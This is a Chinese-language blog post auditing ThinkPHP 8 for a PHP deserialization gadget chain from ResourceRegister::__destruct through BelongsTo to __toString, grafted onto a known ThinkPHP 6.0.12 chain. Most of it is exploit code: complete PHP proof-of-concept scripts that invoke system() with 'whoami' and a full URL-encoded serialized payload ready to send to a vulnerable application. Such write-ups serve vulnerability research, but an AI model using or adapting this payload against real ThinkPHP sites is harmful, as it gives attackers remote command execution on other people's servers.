ThinkPHP 8 反序列化漏洞代码审计(最新)

代码审计

首先搜__destruct

image-20240912155401106

進這個vendor/topthink/framework/src/think/route/ResourceRegister.php

image-20240912160251773

满足if判断,然后调用register()

namespace think\route;

class ResourceRegister
{
	$registered = false;
}

image-20240912160736517

发现这个地方可以触发__call,但是参数不可控

namespace think\route;

class ResourceRegister
{
	protected $registered = false;
    protected $resource = (class);
    
}

这里将$resource赋值为一个对象

全局搜索__call看看有没有可以利用的

发现这个类可能有点用

vendor/topthink/think-orm/src/model/Relation.php

image-20240912161529875

本来找这个类是因为他报错的时候将$method进行了字符串拼接,可以尝试触发__tostring(),不过我们要另找一个可以传参的__call方法。

namespace think\model;
class BelongsTo{
{
    protected $query = true;
}

类似的方法应该有很多,不过这里不考虑这一种。我们继续看这里调用的baseQuery()方法

image-20240912162034072

这里没有实现这个方法,那么我们直接去找Relation类的子类

找到了这么一个实现了baseQuery()方法的子类

vendor/topthink/think-orm/src/model/relation/BelongsTo.php

image-20240912162305971

这个类其实就可以直接触发__tostring了,这里涉及到php的一个特性:动态属性访问

$this->parent->{$this->foreignKey}

他会访问parent这个对象中的名为$this->foreignKey的属性值,这里给foreignKey传一个对象,就会被当成字符串处理,触发tostring

namespace think\model\relation;
class BelongsTo
{
	protected $query = true;
    protected $parent = (class);
    protected $foreignKey = (class);
}

触发tostring后就直接用现成的链子了,直接将我们的前半部分和下面这条链子(thinkphp 6.0.12反序列化漏洞)的下半部分拼接一下

<?php
namespace think;
abstract class Model{
    private $lazySave = false;
    private $data = [];
    private $exists = false;
    protected $table;
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = false;
    public function __construct($obj='') {
        $this->lazySave = true;
        $this->data = ['a' => ['whoami']];
        $this->exists = true;
        $this->table = $obj;
        $this->withAttr = ['a' => ['system']];
        $this->json = ['a'];
        $this->jsonAssoc = true;
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model {

}
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));

poc

<?php
namespace think;
namespace think;
abstract class Model{
    private $lazySave = false;
    private $data = [];
    private $exists = false;
    protected $table;
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = false;
    public function __construct($obj='') {
        $this->lazySave = true;
        $this->data = ['a' => ['whoami']];
        $this->exists = true;
        $this->table = $obj;
        $this->withAttr = ['a' => ['system']];
        $this->json = ['a'];
        $this->jsonAssoc = true;
    }
}
namespace think\route;
use think\model\relation\BelongsTo;

class ResourceRegister
{
    protected $registered;
    protected $resource;

    function __construct(){
        $this->registered=false;
        $this->resource=new BelongsTo();
    }
}

namespace think\model\relation;
use Error;
use think\model\Pivot;

class BelongsTo
{
    protected $query = true;
    protected $parent;
    protected $foreignKey;
    function __construct(){
        $this->query=true;
        $this->parent=new error();
        $this->foreignKey=new Pivot();
    }
}
namespace think\model;

use think\Model;
use think\route\ResourceRegister;

class Pivot extends Model
{
}
$r=new ResourceRegister();
echo urlencode(serialize($r));

ResourceRegister -> BelongsTo(call) -> BelongsTo(tostring)

O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A49%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cthink-8.0.0%5Cpublic%5Cexp0.2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A47%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A2%3A%7Bi%3A0%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A49%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cthink-8.0.0%5Cpublic%5Cexp0.2.php%22%3Bs%3A4%3A%22line%22%3Bi%3A32%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A49%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cthink-8.0.0%5Cpublic%5Cexp0.2.php%22%3Bs%3A4%3A%22line%22%3Bi%3A59%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A28%3A%22think%5Croute%5CResourceRegister%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7D%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00foreignKey%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%22a%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7D

补充

也可以使用下面这个call来触发tostring

vendor/topthink/think-orm/src/db/Fetch.php

image-20240912173921642

substr($method, 0, 5)

这里的substr就会把$method当作string处理,同样可以触发tostring

posted @ 2024-09-12 20:52  Litsasuk  阅读(147)  评论(0)    收藏  举报